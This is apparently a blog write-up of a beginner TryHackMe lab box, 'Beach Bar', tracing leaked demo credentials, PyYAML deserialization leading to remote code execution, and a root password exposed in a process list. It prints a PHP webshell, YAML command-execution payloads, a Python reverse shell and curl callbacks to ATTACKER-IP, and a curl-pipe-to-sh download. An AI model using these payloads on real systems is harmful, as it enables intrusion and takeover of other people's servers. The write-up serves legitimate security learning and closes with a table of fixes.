THM Beach Bar

Introduction

I’ve been working through TryHackMe’s Hacker Holidays 2026 event, a free 14-day run of rooms set in a five-star resort with a zero-star security posture. Beach Bar, a beginner Linux box, chains three real production mistakes: exposed credentials, remote code execution through unsafe YAML deserialization, and a root password sitting in plain sight.

This was my first real CTF, and it took me hours to solve it. Of course, I needed and got some help from the THM community, and A LOT of searching the internet.

The room

The box opens on a login form for the beach bar’s DJ booth. Once in, you can load a playlist via YAML or upload a file, a combination that screams “find a way to run code.” But the front door needs a key first.

I viewed the page source, step one I never forget. An HTML comment held a staff note: the demo DJ login was still enabled, credentials included. Free entry, no brute-force, no SQL injection. Page-source comments ship to every visitor’s browser, and “temporary” credentials have a way of living forever.

Finding the real attack vector

The DJ interface offered two input surfaces: the YAML playlist loader and a file upload. I tried the upload first, with a small PHP webshell:

<?php if (isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

The app accepted it and queued it for tonight’s set, but that proves storage, not execution as PHP. Gobuster turned up nothing, and there was no sign the app even ran PHP. Dead end, for now.

That left the YAML loader. If a backend parses YAML unsafely, an attacker can do far more than describe a playlist.

A YAML deserialization primer

YAML describes data, like JSON: lists, key value pairs, nested structures. Some parsers add a dangerous feature: a document can instruct the parser to construct language-native objects instead of plain data. Python’s PyYAML library, yaml.load(), historically did exactly that, letting a crafted document call arbitrary functions. yaml.safe_load() refuses those constructor tags and only builds plain data. The entire vulnerability class comes down to one function call: load versus safe_load.

Fingerprinting the parser

Before firing a payload, I wanted to know the language and library behind the loader, since syntax differs per parser. Quickest way: send malformed YAML and check the response for a leaked library name, or test harmless constructor tags and see if the parser resolves them.

Quick disclaimer: I do not know enough Python to be able to pull all this stuff out of thin air. I really needed to Google, Claude code and work my ass off to construct these.

A PyYAML-flavoured probe that only reads the working directory:

playlist: !!python/object/apply:os.getcwd []

The response reflected the current directory back, confirming the backend is Python and calling something in the unsafe yaml.load() family. A safe loader would have ignored the tag or thrown a constructor error.

From detection to confirmed execution

A working directory read is nice, but I wanted proof of command execution:

playlist: !!python/object/apply:subprocess.check_output [["id"]]

Breaking that down, left to right:

  • playlist: is the YAML key the app expects; the value after it is what matters
  • !!python/object/apply: is the PyYAML constructor tag meaning “call the following Python function.” This is the dangerous feature yaml.safe_load() refuses
  • subprocess.check_output is the function being called. It runs a command and returns its output
  • [["id"]] is the argument list. The outer brackets hold the arguments to apply; the inner brackets are the first argument, itself a list containing the single command id

When output doesn’t show up directly, confirm execution out of band by having the target reach a listener you control.

On your attack station:

ncat -nvlp 4444

From the webinterface:

playlist: !!python/object/apply:os.system ["curl http://ATTACKER-IP:4444/confirmed"]

The request landed on my listener. Confirmed remote code execution.

Getting a shell

Firing single commands gets old fast. I wanted a reverse shell: the target connects back and hands me a live command prompt.

As above, The listener goes up first, before any payload, or the target connects to nothing:

ncat -lvnp 4444

The payload:

playlist: !!python/object/apply:os.system ["python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"]

Same YAML wrapper as before (!!python/object/apply:os.system, running a shell command), but this time the command is a compact Python program:

  • import socket,subprocess,os pulls in the three modules it needs
  • s=socket.socket() creates a network socket; s.connect(("ATTACKER-IP",4444)) dials home to my listener
  • the three os.dup2(s.fileno(), ...) calls wire the shell’s standard input (0), output (1), and error (2) to the socket, so anything I type travels down the connection and anything the shell prints comes back
  • subprocess.call(["/bin/sh","-i"]) launches an interactive shell now that its input and output point at my socket

The quote escaping is horror. The Python command sits inside single quotes; the strings inside it (ATTACKER-IP, /bin/sh) need double quotes, backslash-escaped so YAML doesn’t swallow them. Count your quotes carefully. Sent, the connection landed in my ncat listener.

Stabilizing the shell

The shell I caught was a dumb one: no tab completion, no history, no arrow keys, and Ctrl-C kills the whole session instead of the running command. Upgrading it to a full TTY takes three steps, and I have been using these steps ever since.

On the target, spawn a proper PTY (pseudo-terminal) with Python:

python3 -c 'import pty;pty.spawn("/bin/bash")'

pty.spawn attaches bash to a real pseudo-terminal, restoring most normal shell behaviour. Ctrl-C still misbehaves, since local and remote terminals are fighting over keystrokes. Fix that with Ctrl-Z to background the remote shell, then:

stty raw -echo; fg

stty raw -echo stops your local terminal processing and echoing keystrokes, so every key press passes straight through; fg brings the shell back to the foreground. If the screen looks blank or messy, press enter once. Finally, in the remote shell:

export TERM=xterm

This tells screen-drawing programs (an editor, less, anything full screen) how to render; without it they refuse to run or garble the display.

You have a stable shell now and the use flag is up for grabs.

Privilege escalation

First orientation:

id

Low-privilege user, not root. The RCE gave me a foothold, but we need a root flag as well.

sudo -l asked for a password I didn’t have, so that was out. Time for a broader sweep with LinPEAS, a script that checks a Linux box for common privilege-escalation paths and color codes the results by likelihood.

Getting LinPEAS onto the box

Pulling it straight from GitHub didn’t work (no direct internet egress), so I served it from my attack box. In the folder holding linpeas.sh:

python3 -m http.server 8000

On the target, fetch and run it, piped straight into a shell without writing it to disk:

curl http://ATTACKER-IP:8000/linpeas.sh | sh

Piping into sh avoids dropping a script file on disk, dodging simple file-based scanning, but it doesn’t hide the burst of recon commands LinPEAS runs (reading sensitive paths, listing SUID files, checking sudo), which is the loud part. No real EDR watches a THM lab, so it makes no difference here; worth knowing for real engagements, where you’d enumerate slowly by hand.

Saving it and keeping it readable

LinPEAS produces an overwhelming wall of output, so I needed to do this differently.

wget http://ATTACKER-IP:8000/linpeas.sh
./linpeas.sh -a > /tmp/linpeas.out 2>&1

Keeping the colors, since the color ranking is the whole point:

less -r /tmp/linpeas.out

You’ll get a warning the file is a binary. Just ignore it.

Reading it with intent

You don’t read LinPEAS top to bottom; it ranks findings by color, and red-on-yellow means “very likely exploitable.” Inside less, /95% jumps to the highest-confidence hits, /Vulnerable to known CVE matches, /Writable to files you can modify. What caught my eye first was a web server component running as root, which is where this eventually paid off. First, though, I ruled out the standard local vectors.

SUID binaries.

Set-user-ID binaries run with the owner’s privileges rather than yours:

find / -perm -4000 -type f 2>/dev/null

Stock Ubuntu set: sudo, su, passwd, mount, umount, chfn, chsh, gpasswd, newgrp, the usual dbus/openssh/polkit helpers. Nothing odd like a SUID find, vim, or python, so GTFOBins had nothing to offer. (/snap/ entries are read-only image copies; ignore them.)

Capabilities.

The subtler cousin of SUID, where a binary holds a specific slice of root power:

getcap -r / 2>/dev/null

Clean again. ping and mtr-packet held cap_net_raw, exactly what those tools need; GStreamer’s helper held some network/scheduling caps; snap-confine listed a set ending in =p, permitted but not effective. The one cap worth wanting, cap_setuid=ep on something scriptable, wasn’t there.

Cron jobs

Scheduled tasks that run automatically, often as root. If a cron job executes a script you can modify, or calls a command without an absolute path from a directory you can write to, you can swap in your own version. I checked the usual places:

crontab -l
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ 2>/dev/null

Nothing exploitable. The scheduled tasks that existed pointed to system binaries with full absolute paths, no writable scripts in the chain.

Conclusion linpeas output

Three common local vectors, all ruled out. On a web app box, that’s itself a hint: the escalation often lives in the application, or so I have learned now, not the OS.

The real vector

Back to that web process running as root. I pulled the process list and filtered for anything web or Python related:

ps aux | grep -iE "python|flask|gunicorn|dj|web|app"

Upon closer look, two things jumped out.

  • First, the gunicorn process serving the app was started with --user bartender --group bartender, which is why my RCE dropped me to a low user; the app correctly de-privileges itself even though it starts as root. Defense in depth that actually did its job.
  • Second, and fatal: another process running as root had a password sitting right there in its command line.
root  609  ...  /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass REDACTED --bitrate 320k

Anything passed on the command line is visible to every user on the box through ps. Passing a secret as an argument, instead of via an environment variable or a permission restricted config file, hands it to anyone with a shell.

So I had a password, and the only question was whether it was reused. I tried switching directly to root with it:

su root

It worked! The stream password was also the root password.

id
# uid=0(root)

Root on Beach Bar. Both flags are then a cat away in the usual spots.

The complete chain

Beach Bar is a good beginner box (although it really didn’t feel like it at the time) because every link is a distinct, real-world mistake:

StepMistakeFix
Initial accessDemo credentials left in an HTML commentNever ship secrets to the client; kill demo logins before deploy
Code executionyaml.load() on untrusted inputUse yaml.safe_load() for anything user-supplied
Contained blast radius(this one worked) gunicorn dropping to a low userKeep de-privileging services; it bought the defenders a layer
EscalationRoot password passed as a command-line argumentUse env vars or a restricted config file, never argv
EscalationThe same password reused for rootUnique credentials per service and account

One good decision, de-privileging gunicorn, got undone by two bad ones: a secret in argv, reused as the root password. Defense in depth only counts if every layer holds.

Next

Next up in the Hacker Holidays run, another one of the more difficult to me: Do Not Disturb.